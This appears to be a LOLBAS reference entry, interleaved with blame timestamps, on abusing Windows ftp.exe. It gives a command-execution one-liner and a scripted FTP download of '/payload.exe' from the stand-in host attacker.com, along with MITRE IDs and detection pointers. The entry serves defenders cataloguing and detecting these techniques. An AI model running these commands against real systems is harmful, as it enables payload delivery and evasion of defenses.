2018-12-10 15:03:30 +01:00
|
|
|
---
|
|
|
|
Name: Ftp.exe
|
|
|
|
Description: A binary designed for connecting to FTP servers
|
|
|
|
Author: 'Oddvar Moe'
|
2021-01-10 16:04:52 +01:00
|
|
|
Created: 2018-12-10
|
2018-12-10 15:03:30 +01:00
|
|
|
Commands:
|
|
|
|
- Command: echo !calc.exe > ftpcommands.txt && ftp -s:ftpcommands.txt
|
|
|
|
Description: Executes the commands you put inside the text file.
|
|
|
|
Usecase: Spawn new process using ftp.exe. Ftp.exe runs cmd /C YourCommand
|
|
|
|
Category: Execute
|
|
|
|
Privileges: User
|
2021-11-05 21:17:04 +01:00
|
|
|
MitreID: T1202
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2020-04-21 23:52:22 +02:00
|
|
|
- Command: cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"
|
|
|
|
Description: Download
|
|
|
|
Usecase: Spawn new process using ftp.exe. Ftp.exe downloads the binary.
|
|
|
|
Category: Download
|
|
|
|
Privileges: User
|
|
|
|
MitreID: T1105
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2018-12-10 15:03:30 +01:00
|
|
|
Full_Path:
|
|
|
|
- Path: C:\Windows\System32\ftp.exe
|
|
|
|
- Path: C:\Windows\SysWOW64\ftp.exe
|
2021-01-10 16:04:52 +01:00
|
|
|
Code_Sample:
|
2022-09-11 07:07:18 +02:00
|
|
|
- Code:
|
2018-12-10 15:03:30 +01:00
|
|
|
Detection:
|
2023-10-18 17:30:34 +02:00
|
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_ftp.yml
|
2022-09-11 07:07:18 +02:00
|
|
|
- IOC: cmd /c as child process of ftp.exe
|
2018-12-10 15:03:30 +01:00
|
|
|
Resources:
|
|
|
|
- Link: https://twitter.com/0xAmit/status/1070063130636640256
|
|
|
|
- Link: https://medium.com/@0xamit/lets-talk-about-security-research-discoveries-and-proper-discussion-etiquette-on-twitter-10f9be6d1939
|
|
|
|
- Link: https://ss64.com/nt/ftp.html
|
2020-04-21 23:52:22 +02:00
|
|
|
- Link: https://www.asafety.fr/vuln-exploit-poc/windows-dos-powershell-upload-de-fichier-en-ligne-de-commande-one-liner/
|
2018-12-10 15:03:30 +01:00
|
|
|
Acknowledgement:
|
|
|
|
- Person: Casey Smith
|
|
|
|
Handle: '@subtee'
|
|
|
|
- Person: BennyHusted
|
|
|
|
Handle: ''
|
|
|
|
- Person: Amit Serper
|
2022-09-14 05:37:10 +02:00
|
|
|
Handle: '@0xAmit'
|